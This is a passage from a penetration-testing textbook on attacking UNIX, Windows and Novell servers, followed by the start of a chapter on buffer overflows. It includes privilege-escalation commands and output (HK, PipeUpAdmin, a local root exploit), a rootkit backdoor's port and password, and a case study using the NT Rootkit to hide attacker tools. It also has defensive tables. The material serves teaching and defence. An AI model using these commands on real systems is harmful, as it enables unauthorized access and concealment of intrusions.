plug-ins available for downloading. Reports are done through \na secure web interface. You can generate your own web certificate through the nessus-\nmkcert utility or import one from a trusted certificate authority. Certificates help to secure \nthe web interface by both verifying the authenticity of the server and providing encrypted \ncommunications between the web browser and the Nessus server.\nBefore you use Nessus, create a user using the nessus-adduser utility. You can even specify \nwhich hosts a user is allowed to scan. This way, you can prevent users from mistakenly (or \nintentionally) scanning unauthorized hosts.\nFigure 13-1 shows an example of a Nessus report.\n" }, { "page_number": 468, "text": "General Scanners 441\nFigure 13-1\nSample Nessus Report\nTIP\nIf you use the Linux version of Nessus you will need to install uudecode which is part of \nthe sharutils suite. You can obtain this from http://www.gnu.org/software/sharutils/\nsharutils.html.\nSAINT\nSecurity Administrators Integrated Network Tool (SAINT) is available through the SAINT \nCorporation at http://www.saintcorporation.com/products/saint_engine.html. SAINT is a \ncommercial scanner based on SATAN, an older vulnerability scanner developed by Dan \nFarmer and Wietse Venema in 1995 (http://www.porcupine.org/satan/). Although SAINT \nwas originally designed for Linux, it is now available on SunOs 5.6/Solaris 2.6, HP-UX \n11.00, FreeBSD, and MacOS. \nAs a penetration tester, companies often employ you to test a target for compliancy with \nfederal regulations, such as the Graham-Leach-Bliley Act (GLBA) and the Health \nInsurance Portability and Accountability Act (HIPAA). (See Chapter 2, “Legal and Ethical \nConsiderations,” for more about these regulations.) SAINT demonstrates compliance with \n" }, { "page_number": 469, "text": "442\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\nthese and other federal regulations. SAINT even supports scheduled scans so that you can \narrange routine scanning for regulatory compliance. \nIf cost is an issue, you can opt for the WebSAINT option. This is a paid service performed \nacross the Internet where you pay for a subscription with the SAINT Corporation. Results \nare sent back to you via e-mail.\nTIP\nFor best operation, it is recommended that you have the following utilities installed when \nrunning SAINT:\n• Perl 5.00\n• NMap\n• Samba Utilities\n• Xprobe2\n• OpenSSL\nAlso, turn off TCPd wrappers, because this causes inaccurate results.\nSARA\nThe Security Auditor’s Research Assistant (SARA) is an open-source scanner released \nunder GPL by the Advanced Research Corporation (http://www-arc.com/sara/). Sara is \navailable on Linux, UNIX, Mac, and on Windows using Cooperative Linux (http://\nwww.colinux.org), a distribution of Linux that runs on top of Windows. \nSARA checks for the SysAdmin, Audit, Network, Security (SANS) Institute top 20 \nvulnerabilities and supports the Common Vulnerabilities and Exposures (CVE) standards \n(http://cve.mitre.org). SARA updates itself twice a month and downloads the latest \nvulnerabilities.\nSARA does not test for DoS vulnerabilities, which makes it safe to test on corporate \nnetworks. However, older systems might still crash during some tests, so make sure all \nparties are aware that although a DoS attack will not intentionally be performed, it is still \npossible for one to occur inadvertently. \nFigure 13-2 shows a sample SARA report. \n" }, { "page_number": 470, "text": "General Scanners 443\nFigure 13-2\nSample SARA Report\nYou can export reports in spreadsheet, XML, or Microsoft Word format. SARA categorizes \nthe seriousness of detected vulnerabilities by color, as shown in Table 13-1.\nLike SAINT, SARA supports scheduled scans. You can perform these scheduled scans \nthrough the command line or by modifying the timing rules in the sara.cf file.\nYou manage SARA in three ways: \n•\nThe easiest method is interactive, which you do through a web browser. \n•\nThe second method is through a command line, which makes it easy to script or run \nin the background. \nTable 13-1\nSARA Color Categories\nColor\nCategory\nRed\nSerious vulnerability\nYellow\nVulnerability probable but not certain, or a less serious vulnerability was found\nBrown\nService was found that could help hackers but is not necessarily serious\n" }, { "page_number": 471, "text": "444\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\n•\nThe third method of controlling SARA is remotely. From the command line, you can \nmake a connection to a remote server that is running SARA. By default, SARA uses \nport 666. Only one user can be connected remotely at a time.\nISS\nThe Internet Security Scanner (ISS) is a Windows-based commercial scanner available at \nhttp://www.iss.net that has rich reporting features. ISS provides three different reports, \ndepending on the level of detail needed: \n•\nExecutive reports are high-level reports designed for upper-level management and are \nvoid of much technical detail. \n•\nLine management reports are designed for security analysts and IT managers who \nneed more technical information as to the exact type of vulnerability discovered on a \nsystem. \n•\nTechnical reports are provided for technical staff and include detailed information \nabout the vulnerability and suggested methods of fixing the vulnerability. \nExample 13-1 shows a sample technical report.\nExample 13-1\nSample ISS Technical Report\nIP Address {DNS Name}\nOperating System\n172.16.1.2 {HMN}Cisco IOS C2900XL-H2-M\naccountblankpw: User account has blank password (CAN-1999-0504) \n Additional Information\n More Information\n vlb\n An account has been detected with a blank password. Some vendors ship Windows \nNT pre-installed with a blank password on the Administrator or other user accounts. \nThis misconfiguration is an extremely high risk vulnerability, and should be \ncorrected immediately.\nThis vulnerability is typically detected on a computer where there is also no minimum \npassword length required. If the Guest account has a blank password, it allows anyone \nto log in with any username and a blank password. If the file and registry \npermissions are not very tightly restricted, this situation can give any attacker \nthe ability to access sensitive information and systems.\nInternet Scanner users: This check finds local and domain accounts that are part of \nthe Domain Users group. Any local account found that is part of a non-Windows built-\nin group will also appear vulnerable.\nEnabling this check automatically enables password checking in the NT Logon Sessions \ncommon settings. If no password checking method is specified, then the method \ndefaults to ’Check Accounts by Logon,’ otherwise the method(s) selected by the user \ntakes affect. The password-checking source ’Use Blank Password’ is then enabled in \naddition to any sources selected by the user.\n" }, { "page_number": 472, "text": "UNIX Permissions and Root Access 445\nNetRecon\nNetRecon is a Windows-based commercial scanner from Symantec (http://\nwww.symantec.com). NetRecon includes a patent-pending progressive scanning \ntechnology that scans hosts in parallel and adapts its penetration strategy based on \npreviously gathered results. NetRecon is unique in this sense as it actively learns and adapts \nto the environment it is testing. For example, if it is able to crack a password on one system \nit will remember that password and attempt it on other systems. \nUNIX Permissions and Root Access\nThe majority of servers on the Internet are running some flavor of UNIX. UNIX has two \ntypes of user accounts: normal users and superusers. Users can be further placed into \ngroups to provide added flexibility in assigning permissions. \nIn UNIX architectures, everything is a file. Directories are files, and devices are files. You \ncan assign three types of permissions to files:\n•\nRead\n•\nWrite\n•\nExecute\nPermissions are assigned in three parts: \n1 Assign permissions to the superuser, or root user. \n2 Assign permissions to the group owner. \n3 Assign permissions to normal users. \nFor example, the following output shows the permissions assigned to a file:\n-rw-r--r-- 1 root root 1024 Apr 15 15:23 penfile\nIn this example, the root superuser is assigned read and write permissions, whereas the \ngroup and normal users only have read permissions. Permissions are assigned in binary \nformat using the chmod command. Figure 13-3 shows the binary values for the three sets \nof permissions.\nFigure 13-3\nUNIX Permissions\nTo set read, write, and execute permissions for the root user while leaving the group and \nnormal user permissions to read only, enter the following command:\n#chmod 744 penfile\n#ls –l penfile\n-rwxr--r-- 1 root root 1024 Apr 15 15:23 penfile\n- R W X R W X R W X\nFilename\nRoot\nGroup Owner\n" }, { "page_number": 473, "text": "446\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\nElevation Techniques\nAs a penetration tester, your goal is to obtain root access, because the root user typically \nhas the most permissions granted on a system. To do this, you need to execute an elevation \ntechnique to elevate a normal user to a root user.\nStack Smashing Exploit\nProbably the most common method of obtaining root access on a Linux-based machine is \nthrough a buffer overflow technique originally introduced in the paper “Smashing the Stack \nfor Fun and Profit” by Aleph One in Volume Seven, Issue Forty-Nine of the Phrack E-zine \n(http://www.phrack.org/). In this paper, Aleph One shows how you can execute a buffer \noverflow as a normal user and gain shell access as a root user. In Example 13-2, his code \nhas been compiled and named exploit. Note how the user goes from andrew to root after \nrunning the exploit code.\nFor more information about how this exploit works, see Chapter 14, “Understanding and \nAttempting Buffer Overflows.” \nNOTE\nThe most common method of exploiting UNIX systems and gaining root access is by using \nbuffer overflows. For many code examples, go to http://ftp4.de.freesbie.org/pub/misc/\nwww.rootshell.com/.\nrpc.statd Exploit\nThe rpc.statd exploit allows normal users to remove and create files with root privileges on \nSolaris 2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x). This exploit uses the vulnerability \nin rpc.statd, which does not validate information it receives from rpc.lockd.\nAccording to CERT advisory CA-96.09:\nExample 13-2\nRunning Privilege Escalation Exploit Code\nLinux:/home/pentest >whoami\nandrew \nLinux:/home/pentest >id\nuid=500(andrew) gid=100(users) \ngroups=100(users),14(uucp),16(dialout),17(audio),33(video)\nLinux:/home/pentest > ./exploit\nbash-2.05b# whoami \nroot\nbash-2.05b# id\nuid=0(root) gid=100(users)\ngroups=100(users),14(uucp),16(dialout),17(audio),33(video)\nbash-2.05b#\n" }, { "page_number": 474, "text": "UNIX Permissions and Root Access 447\nWhen an NFS server reboots, rpc.statd causes the previously held locks to be recovered by \nnotifying the NFS client lock daemons to resubmit previously granted lock requests. If a lock \ndaemon fails to secure a previously granted lock on the NFS server, it sends SIGLOST to \nthe process that originally requested the file lock. \nThe vulnerability in rpc.statd is its lack of validation of the information it receives from \nwhat is presumed to be the remote rpc.lockd. Because rpc.statd normally runs as root and \nbecause it does not validate this information, rpc.statd can be made to remove or create any \nfile that the root user can remove or create on the NFS server.\nYou can find code for this exploit at http://ftp4.de.freesbie.org/pub/misc/\nwww.rootshell.com/hacking/statdx86.c.\nirix-login.c\nDavid Hedley has written code that exploits a vulnerability in the login script on Irix UNIX \nmachines that grants a root shell to normal users. After running his code, you are prompted \nfor a password. If you do not type a password but instead press Enter, you are granted a \nroot shell. \nThe Hedley code is available at http://ftp4.de.freesbie.org/pub/misc/www.rootshell.com/\nhacking/irix-login.c.\nNOTE\nMany other exploits are related to web server and database attacks. Chapter 7, “Performing \nWeb-Server Attacks,” covers web server exploits, and Chapter 8, “Performing Database \nAttacks,” covers database attacks.\nRootkits\nAfter you have gained access to a system, you might want to hide files so that others cannot \ndetect your presence. A common way to do this is through rootkits.\nThe following are two well-known rootkits for UNIX and Linux systems:\n•\nLinux Rootkit IV\n•\nBeastkit 7.0\nLinux Rootkit IV\nLinux Rootkit IV is a popular rootkit for Linux systems, although it is limited in that it hides \nonly certain system commands such as ps (used to view processes), crontab (used to view \nscheduled tasks), ifconfig (used to view interface information), and others. Hiding these \n" }, { "page_number": 475, "text": "448\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\ncommands makes it difficult for system administrators to detect that they have been \ninfected by rootkits. \nFor example, you can use a Trojaned version of ifconfig to hide the fact that you are running \nyour network interfaces in promiscuous mode. Your interfaces need to be in promiscuous \nmode to sniff network traffic, but you might want to hide the fact that your network card is \ncapturing traffic. Using Linux Rootkit IV, you can replace the ifconfig that comes with \nLinux with its own that does not state that the card is running in promiscuous mode.\nBeastkit\nLike the Linux Rootkit, Beastkit replaces common files used in routine system tasks. \nBeastkit even replaces files such as dir and ls, which allow you to view the contents of a \ndirectory. These replaced files hide malicious files on an infected system, making it difficult \nfor system administrators to detect the presence of this rootkit. \nBeastkit is unique in that it also comes with several tools that are placed at /lib/ldd.so/\nbktools. Included in these tools are bks, a packet sniffer, and bkscan, a SYN scanning \nprogram to search for open TCP ports. \nBeastkit also installs a Trojan backdoor program called arobia that listens on port 56493. \nIt is password-protected with the password arobia.\nMicrosoft Security Models and Exploits\nMicrosoft has used two models in its security:\n•\nDomain model\n•\nActive Directory domain model\nThe domain model is found in NT 4.0 or earlier. It has a primary domain controller (PDC) \nand one or more backup domain controllers (BDCs) that you can promote if the PDC fails. \nThe PDC maintains all the accounts for the domain in a Security Accounts Manager (SAM) \ndatabase that is synchronized with the BDC servers. An enterprise might have more than \none domain, with trusts set up between them.\nThe active directory (AD) model is found in Windows 2000 and Windows 2003. This model \nis hierarchical, and network resources are placed within a jet database for ease of \nadministration. In the AD model, you can have multiple domain controllers (DCs). All user \naccounts are replicated across DC servers. A hierarchy is made through the use of forests, \ntrees, and organizational units. Within organizational units are objects such as printers and \nuser accounts. \nRegardless of the model used, the underlying kernel is similar among all Windows server \nplatforms. However, with each new release of Windows, Microsoft hardens its server, \nmaking it more difficult for malicious hackers to attack its systems.\n" }, { "page_number": 476, "text": "Microsoft Security Models and Exploits 449\nElevation Techniques\nAs with Linux, many of the attacks against Microsoft Windows do not work unless you first \nhave administrator access. To gain administrator access, you need to utilize an elevation \ntechnique that promotes your access from a normal user to that of a user with administrator \nprivileges. The two methods of doing this are as follows:\n•\nPipeUpAdmin\n•\nHK\nPipeUpAdmin\nPipeUpAdmin exploits a Windows 2000 Named Pipes bug to execute commands with \nSYSTEM privileges. PipeUpAdmin takes the account you are using, regardless of its \ncurrent privilege level, and adds it to the local Administrator group. For example, if you are \na normal user named pentest who does not have Administrator privileges, you can execute \nPipeUpAdmin and add yourself to the local Administrator group, as demonstrated in \nExample 13-3.\nHK\nHK is a demonstration exploit for the NT Local Procedural Call bug addressed by \nMicrosoft in http://www.microsoft.com/technet/security/bulletin/ms00-003.asp. It allows \nany local user to execute a command with SYSTEM privileges, regardless of the user \nprivilege level. Its syntax is simple:\nhk command\nFor example, if you are able to gain access to a system as the user named pentest but do not \nhave Administrator rights, you can add yourself to the Administrator group with the \nfollowing command:\nc:\\hk cmd /c net localgroup Administrators /add pentest\nlsass pid & tid are: 47 -48\nNtImpersonateClientofPort succeeded\nHK works only on NT and unpatched Windows 2000 systems. \nExample 13-3\nUsing PipeUpAdmin to Gain Administrator Privileges\nc:\\pipeupadmin\n PipeUpAdmin\n Maceo \n Copyright 2000-2001 dogmile.com\nThe ClipBook service is not started.\nMore help is available by typing NET HELPMSG 3521.\nImpersonating: SYSTEM\nThe account: CP\\pentest\nhas been added to the Administrators group.\nc:\\\n" }, { "page_number": 477, "text": "450\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\nRootkits\nProbably the most popular rootkit for Windows platforms is the NT Rootkit. Unlike the \nLinux rootkits mentioned earlier, the NT Rootkit does not contain many tools or replace \nsystem files. Instead, the NT Rootkit lets you choose which files you want to hide. These \ncan be Trojans or backdoor utilities such as SubSeven or NetCat. See Chapter 12, “Using \nTrojans and Backdoor Applications,” for more information on Trojans.\nThe NT Rootkit comes with two files:\n•\ndeploy.exe\n•\n_root_.sys\nYou need to copy both of these files to your target system and run the deploy executable. \nThis installs a new service called _root_. You can start the service with the following \ncommand:\nc:\\net start _root_\nTo stop the command, type the following:\nc:\\net stop _root_\nAt this point, you can hide any files that begin with _root_. For example, to hide the popular \nbackdoor utility NetCat, rename it to _root_nc.exe. After you start the service, it does not \nshow up in a directory listing. This is an excellent way to hide the fact that you have \ncompromised a server.\nNovell Server Permissions and Vulnerabilities\nNovell NetWare has been a popular server platform for two decades. Current Novell \nsystems use an architecture that is similar to Active Directory with Windows called Novell \nDirectory Services (NDS). The NDS tree is broken down into an organization (O) and a \nnumber of organizational units (OU) that contain objects such as users, printers, and \nservers. You can assign rights within an NDS tree to control how much control network \nadministrators have over a section of the tree, and you can assign them to directories and \nfiles to control what access users have on a server. \nPrior to IntraNetWare 4.11, NetWare was a flat bindery-based system without a directory \nhierarchy. Without the use of an NDS tree, you could assign permissions only to directories \nand files.\nNetWare has eight basic rights, as listed in Table 13-2.\n" }, { "page_number": 478, "text": "Novell Server Permissions and Vulnerabilities 451\nThe equivalent to a superuser (UNIX) or administrator (Windows) in Novell is the admin \naccount, which has supervisor rights over the network. As a penetration tester, your goal is \nto gain supervisory access to a target system.\nTwo of the most popular tools for hacking Novell systems are Pandora and NovelFFS.\nPandora\nPandora is a suite of tools that uses Novell Get Nearest Server (GNS) requests to enumerate \nuser accounts. By listening to these requests, Pandora can scan target servers and grab user \naccounts without logging in. \nWith a backup copy of NDS, you can use Pandora to perform a dictionary attack against all \nuser accounts.\nNovelFFS\nThe Novel Fake File Server (NovelFFS), similar to Pandora, listens to GNS requests to \ncache server names. NovelFFS creates a fake file server on a network lasting about two \nminutes. This is just enough time to learn about other servers and user accounts on a \nnetwork. When a client learns of this fake server and attempts to log into it, NovelFFS \ncaptures the logon credentials for you. \nTable 13-2\nNovell NetWare Rights\nRight\nDescription\nSupervisory (S)\nA user has all rights.\nRead (R)\nA user can open or execute a file.\nWrite (W)\nA user can open and modify a file.\nCreate \nAssigned to a directory, a user who has Create permissions can create files and \nsubdirectories within a directory.\nErase \nA user can delete a file.\nModify (M)\nA user can rename a file or change its attributes. This right does not allow a \nuser to modify the contents of a file (use the Write permission to grant access \nto modify the contents).\nFile Scan (F)\nA user can see the contents of a directory.\nAccess Control\nThis allows a user to modify permissions on a directory or file.\n" }, { "page_number": 479, "text": "452\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\nDetecting Server Attacks\nDetecting server attacks can be a never-ending task of implementation, monitoring, testing, \nand then reimplementing new or updated methods. Servers, or any computer for that matter, \ncan be attacked in several ways, and implementing a single detection method is impractical. \nFor example, if you install a firewall to protect against external network attacks, the server \nis still vulnerable to internal network attacks, viruses, application flaws, or even physical \ntheft of the server to name only a few. You should apply detection and prevention methods \nto all possible areas that might affect or come into contact with your servers. Table 13-3 \ndisplays possible attack avenues to your server and some basic recommendations to help \ndetect such attacks against them.\nTIP\nMicrosoft contains several security tools that greatly assist in identifying weak areas within \nyour organization. See http://www.microsoft.com/technet/Security/tools/default.mspx for \ntools such as Security Risk Self Assessment tool, which produces a detailed report with \nrecommendations on your overall security environment. \nPreventing Server Attacks\nPreventing server attacks can be a difficult job from scratch because it is not only the \noperating system you need to secure, but the applications that run on top of it and the \nTable 13-3\nDetecting Attacks\nAttack Type\nRecommendation\nPassword guessing\nMonitor and review security logs for login attempts.\nWorms and viruses\nWatch for inconsistent or unusual behavior from your \nserver or anti-virus software warnings. \nApplication flaws (buffer overflows)\nBe alert to programs crashing.\nExternal network attacks\nReview firewall Syslog entries or other log files for \nentries that look like probes or unusual traffic. Lastly, \nreview IDS log files.\nInternal network attacks\nReview internal Event Viewer log files and the IDS Event \nViewer for bad signatures.\nPing (ICMP) sweeps\nWatch for IDS warning messages or monitor network \ntraffic by hand to inspect for ICMP traffic anomalies. \nServer file system\nOn Windows NTFS file systems, enable security auditing \nand monitor access to local files.\nPhysical access to the server room\nMonitor maintenance logs and video cameras. \nBackups\nMonitor logs for missing backup tapes.\n" }, { "page_number": 480, "text": "Preventing Server Attacks 453\nnetwork that surrounds the server. Locking down server operating systems (OS), \napplications, and networks can be a long process of trial and error; however, some excellent \nguides and websites can make your job easier. Table 13-4 lists links to websites and PDF \ndocuments to assist in securing networks, Linux, Solaris, and Windows systems. \nBy searching the web, you can find literally hundreds of sites with tips and tricks on \nsecuring your system, so by no means treat Table 13-4 as a single one-stop shop for \nprotecting your systems. Table 13-5 displays a general list of known attacks and \nrecommendations to protect your environment. This works hand in hand with the official \ndocuments in Table 13-4.\nTable 13-4\nSecurity Guides\nSystem\nLink\nNSA: The 60 Minute Network \nSecurity Guide\nhttp://www.nsa.gov/snac/support/sixty_minutes.pdf \nNSA Security \nRecommendation Guides \nCisco Router Guides\nhttp://acs1.conxion.com/cisco/\nWindows Server 2003 Security \nGuide\nhttp://www.microsoft.com/technet/security/prodtech/\nwindowsserver2003/W2003HG/SGCH00.mspx\nNSA Guide to Securing \nWindows XP\nhttp://nsa2.www.conxion.com/winxp/\nNSA Security \nRecommendation Guides \nWindows 2000\nhttp://nsa2.www.conxion.com/win2k/\nNSA Guide to Secure \nConfiguration of Solaris 8\nhttp://nsa2.www.conxion.com/support/guides/sd-12.pdf\nLinux Security HOW TO\nhttp://www.tldp.org/HOWTO/Security-HOWTO/ \nSecuring Linux Production \nSystems\nhttp://www.puschitz.com/SecuringLinux.shtml\nFOCUS on Linux: Securing \nLinux Part One\nhttp://www.securityfocus.com/infocus/1419 \nTable 13-5\nBasic Prevention Recommendations \nAttack Type\nRecommendation\nPassword guessing\nImplement strict password policies. \nWorms and viruses\nInstall anti-virus software and keep it up-to-date. \nApplication flaws (buffer overflows)\nInstall and maintain the most current service packs and \nhot fixes.\ncontinues\n" }, { "page_number": 481, "text": "454\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\nNow that you have secured your systems using these extensive checklists, it is time to apply \neven more security, if possible. You can accomplish this by adding anti-virus programs to \nthe server to help detect and eliminate malicious software. Table 13-6 displays a list of some \nof the most big-name brands on the market today. \nAttack Type\nRecommendation\nExternal network attacks\nAlways install firewalls at the perimeter, then make sure \nthe firewall is blocking necessary traffic.\nInternal network attacks\nInstall a local firewall on the server to minimize access to \nit.\nInternal/external network attacks\nInstall and manage a network based IDS system to \nmonitor all traffic to and from the servers.\nPing (ICMP) sweeps\nDisable ICMP on the servers to help hide them on your \nnetwork.\nLogging\nAlso enable local application logging wherever you can, \nsuch as logging server logins and disk access. Ensure you \nmonitor the logs on a regular basis. Lastly save the log file \noff to another server and/or media such as tapes for long \nterm analysis if ever required. \nServer file system\nInstall file system integrity-checking programs such as \nTripwire. This enables you to monitor unexpected \nchanges to files and folders on the system. (See http://\nwww.tripwire.com).\nPhysical access to the server room\nSecure the server room and record entry and exit. Even \nimplement cameras that monitor activity within the server \nroom. Some companies use biometric or smart card \ntechnology for server room access, so keep these in mind.\nMonitoring several servers at once\nBy using an enterprise product such as GFI or Microsoft \nOperation Manager (MOM), you can easily monitor \ndozens of server event logs and help resolve problems. \nBackups\nKeep your backup secure and log access to tapes.\nTable 13-6\nAnti-virus Software \nAnti Virus Software \nLink\nPC-Cillin \nhttp://uk.trendmicro-europe.com\nBitDefender\nhttp://www.bitdefender.com \nAVG Anti-Virus Pro\nhttp://www.grisoft.com/doc/1\nMcAfee VirusScan\nhttp://www.macafee.com \nTable 13-5\nBasic Prevention Recommendations (Continued)\n" }, { "page_number": 482, "text": "Preventing Server Attacks 455\nAdding a personal firewall can also help to prevent external users and even internal LAN \nusers from having free access to your server. Several firewall vendors are on the market, \nand even Microsoft has gotten into the game by adding a firewall to XP and Server 2003. \nTable 13-7 lists some possible firewall solutions with links to their home pages.\nThe last topic to mention when it comes to protection of computers is Cisco Security Agent \n(CSA). CSA provides protection to client and server machines in a way that most other \napplications do not. CSA goes beyond the standard of most secure software and provides \ndetection and protection on a behavioral-based system that helps to prevent day zero \nattacks. Following are some of the basic features that CSA has to offer:\n•\nHost intrusion prevention \n•\nSpyware/adware protection \n•\nProtection against buffer overflow attacks \n•\nDistributed firewall capabilities \n•\nMalicious mobile code protection \n•\nOperating-system integrity assurance \nAnti-virus Software \nLink\nF-Secure\nhttp://www.f-secure.com \nNorton AntiVirus \nhttp://www.symantec.com\nF-Prot Antivirus\nhttp://www.f-prot.com\neTrust EZ AntiVirus \nhttp://www.etrust.com\nEset NOD32\nhttp://www.nod32.com \nPanda\nhttp://www.pandasoftware.com \nSophos\nhttp://www.sophos.com\nTable 13-7\nFirewall Software\nFirewall Software\nLink\nZoneAlarm Pro\nhttp://www.zonelabs.com\nOutpost Firewall Pro\nhttp://www.outpost.uk.com \nNorton Personal Firewall\nhttp://www.symantec.com \nNorman Personal Firewall\nhttp://www.norman.com \nSurfSecret Personal Firewall\nhttp://www.surfsecret.com \nBlackICE Protection\nhttp://www.iss.net \nTable 13-6\nAnti-virus Software (Continued)\n" }, { "page_number": 483, "text": "456\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\n•\nApplication inventory \n•\nAudit log-consolidation\nOne interesting note that sets CSA apart from most anti-virus and firewall software \nsolutions is that CSA executes from behavior-based and not signature-based detection. In \nother words, it does not need to be updated on a regular basis, because as abnormal behavior \nis observed on the host computer, such as when a virus is attacking your computer, CSA \nassists to prevent a successful attack. For more information on CSA, please see http://\nwww.cisco.com/en/US/products/sw/secursw/ps5057/index.html.\nAfter you have created this locked-down, baseline environment, your job is only just \nbeginning. Now it is time to start monitoring and testing. You cannot totally prevent hacking \nattempts, but now that you are security focused and have put the appropriate monitoring \ninto action, you can at least detect most attempts. For example, even if you implement \nstrong password policies on your servers, hackers can attempt to log in. However, \nmonitoring the Event Log for failure and success ensures that you remain alert to the risk. \nMaintaining a handle on your entry points and when and by whom they are being exercised \nis important.\nCase Study\nThis case study does not demonstrate how to break into systems like all the other chapters, \nbut actually how to use a common rootkit to hide the location of files, folders, and even \nprocesses on a computer system. To set the scene, Evil Jimmy has already compromised a \nWindows 2003 server by shoulder surfing passwords while at work. He needs to hide some \nof his common hacking tools on the server so that no one can see them. Later he will use \nthe server to island hop to another system, but until then, he needs to hide his tools for later \nuse. He has decided this would be a great chance to use a rootkit and conceal a folder that \nwill host all his tools for later, so when the administrators review the files in the directories \non the system, they will not find his tools.\nStep 1\nEvil Jimmy sits at the physical server and copies all his tools—including \nhis rootkit program—from his USB pen drive onto the server.\nStep 2\nJimmy puts his tools into a directory called _root_MyTools. By using the \nkey characters of “_root_”, when he activates the rootkit, the folder \ndisappears from view:\nC:\\>dir\n Volume in drive C is Home\n Volume Serial Number is 60D1-AE67\n Directory of C:\\\n10/08/2004 07:30 0 AUTOEXEC.BAT\n10/08/2004 07:30 0 CONFIG.SYS\n" }, { "page_number": 484, "text": "Case Study\n457\n30/03/2005 23:49 Drivers\n02/01/2005 20:55 Inetpub\n15/05/2005 17:08 Program Files\n18/05/2005 22:49 Temp\n18/05/2005 22:41 WINDOWS\n18/05/2005 22:39 _root_MyTools\n 2 File(s) 0 bytes\n 6 Dir(s) 547,532,800 bytes free\nC:\\>\nStep 3\nIt is time to start the rootkit to conceal the directory “_root_MyTools”. \nJimmy executes the following from the command shell: \nC:\\>net start _root_\nStep 4\nListing the directory again, he can verify that the files are hidden, as \nshown here:\nC:\\>dir\n Volume in drive C is Home\n Volume Serial Number is 60D1-AE67\n Directory of C:\\\n10/08/2004 07:30 0 AUTOEXEC.BAT\n10/08/2004 07:30 0 CONFIG.SYS\n30/03/2005 23:49 Drivers\n02/01/2005 20:55 Inetpub\n15/05/2005 17:08 Program Files\n18/05/2005 22:49 Temp\n18/05/2005 22:41 WINDOWS\n 2 File(s) 0 bytes\n 5 Dir(s) 547,532,800 bytes free\nStep 5\nLater when Jimmy wants the files visible again, he just needs to execute \nthe stop as follows: \nC:\\>net stop _root_\nThis example demonstrates how easy it is to hide files from the eyes of an administrator \nafter access to the computer has been achieved. Protection is key, because when a breach \nhas been made and rootkits have been installed, the integrity of your server is forever left \nin question. In this case study, Evil Jimmy could have easily installed a second rootkit that \ncould hide tools in a different location. If an administrator found one set of tools or rootkit, \nhe likely would not look for a second one.\n" }, { "page_number": 485, "text": "458\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\nSummary\nThis chapter covered how to attack UNIX, Microsoft, and Novell servers. You learned that \na proper penetration test against these servers has three components:\n•\nPrivilege escalation—Gaining access as administrator/root/supervisor\n•\nVulnerability scanners—Testing the server against databases of known vulnerabilities\n•\nRootkits—Hiding processes/files\nPrivilege escalation techniques are often done through buffer overflow exploits. (For more \non buffer overflows, see Chapter 14, “Understanding and Attempting Buffer Overflows.”) \nIf you are able to gain access as a user on a system, you can perform one of the privilege \nescalation techniques to gain full access.\nVulnerability scanners save you time in testing a host or network. Every penetration tester \nshould have vulnerability scanners in his toolbox of software tools.\nInstalling rootkits is important for the penetration tester because it shows proof of concept \nthat you can install files without being detected. A good penetration test is not just looking \nto see what access he can gain, but what access he can gain without being detected. \nFinally, this chapter concluded with some basic steps you can take to secure your servers. \nThis chapter included numerous references that you should review to learn how to secure \nyour environment. Securing your servers is an ongoing process, so be sure to keep their \npatches up to date and continually research new methods of protecting them.\n" }, { "page_number": 486, "text": "TTThhhiiisss pppaaagggeee iiinnnttteeennntttiiiooonnnaaallllllyyy llleeefffttt bbblllaaannnkkk \n" }, { "page_number": 487, "text": "Of all men’s miseries the bitterest is this: to know so much and to have control over nothing. \n—Herodotus\n" }, { "page_number": 488, "text": "C H A P T E R 14\nUnderstanding and \nAttempting Buffer Overflows\nImagine a van with four passengers and a driver. The driver gets to control the direction of \nthe van. She gets to drop off and pick up passengers along the way. This is the way a buffer \noperates in a computer. A buffer contains both code and data variables that a user inputs. A \nbuffer has pointers, like the van driver, that direct what to do when you get to the end of the \nbuffer.\nNow imagine that five passengers get into the van. The van has room for only four \npassengers and a driver. If five new passengers get in to replace the existing passengers, \nthen all four seats for the passengers plus the van driver get replaced by the new passengers. \nThis would cause the van to have a new driver. In effect, the van filled up with more \npassengers than it was intended for and now is under the control of a new driver. This is \nwhat happens with a buffer overflow exploit. A buffer is filled up with more information \nthan was anticipated, and the pointer is replaced with a new pointer directing the program \nto execute new code of the malicious hacker’s choosing.\nBuffer overflows are caused by the lack of bounds checking in programs. This chapter \nexplores the memory architecture of an 80x86 32-bit Intel computer, sample buffer \noverflow code, and methods for detecting and securing your network against buffer \noverflow attacks. This chapter covers sample code, so having programming knowledge is \nhelpful.\nMemory Architecture\nThe two common types of buffers used in computing today are stacks and heaps. You can \nuse both for buffer overflows, although stack overflows are more common. The sections that \nfollow cover stacks and heaps in greater detail and introduce the technique of using no \noperation instructions to help you in exploiting buffer overflows.\nStacks\nStacks are contiguous areas of memory that are dynamically allocated at runtime to store \nvariables. Stacks grow and shrink as you add and remove data from the stack in a last-in, \nfirst-out (LIFO) fashion. When you add data to the stack, you push, or place it onto the \nstack. When you remove data from the stack, you pop, or remove it from the stack. Stack \n" }, { "page_number": 489, "text": "462\nChapter 14: Understanding and Attempting Buffer Overflows\nmemory addresses go down as you add data. For example, if the memory address ends in \n0x8 before data is added to the stack, the memory address may be 0x4. Therefore, when an \nitem is pushed to the stack, the processor decrements the register, moving it to a lower \nmemory address. Figure 14-1 illustrates a stack buffer.\nFigure 14-1 Stack Buffer\n80x86 processors control the stack by using extended stack pointer (ESP) registers that \npoint to the top of the stack (which is a lower memory address than the base of the stack). \nPointing to the bottom of the stack, at a higher memory address, is the base pointer. Your \nprocessor decrements the ESP register by the size of the data you are pushing in 4-byte \nincrements. For example, if the memory address is 0x14216 before you place data onto a \nstack, pushing eight bytes onto the stack decrements the register to 0x14208 (8 bytes).\nRegisters are where programmers store their variables. They are manipulated by assembly \nlanguage. ESP registers are one type of register. Registers fall into four different categories:\n•\nGeneral purpose\n•\nSpecial-purpose application-accessible \n•\nSegment \n•\nSpecial-purpose kernel mode \nGeneral-purpose registers are what you need to be concerned with regarding buffer \noverflows because you can use them to overflow a buffer and inject code into a vulnerable \nprogram. General-purpose registers commonly store variables and are used for \nmathematical instructions. 